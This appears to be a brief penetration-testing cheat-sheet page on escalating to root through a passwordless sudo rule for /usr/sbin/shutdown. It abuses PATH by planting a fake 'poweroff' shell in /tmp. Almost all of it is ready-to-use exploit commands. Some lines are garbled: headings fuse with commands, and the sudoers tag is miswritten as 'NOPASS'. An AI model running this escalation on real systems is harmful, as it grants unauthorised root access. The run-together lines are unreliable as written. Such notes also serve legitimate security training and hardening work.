Sudo Shutdown, Poweroff Privilege Escalation
Investigation
sudo -l
(ALL) NOPASS: /usr/sbin/shutdownExploitation
echo /bin/sh > /tmp/poweroff
# or
echo /bin/bash > /tmp/poweroffchmod +x /tmp/poweroff
export PATH=/tmp:$PATH# Some SUID command
sudo /usr/sbin/shutdown
# Then you are root user
root>Last updated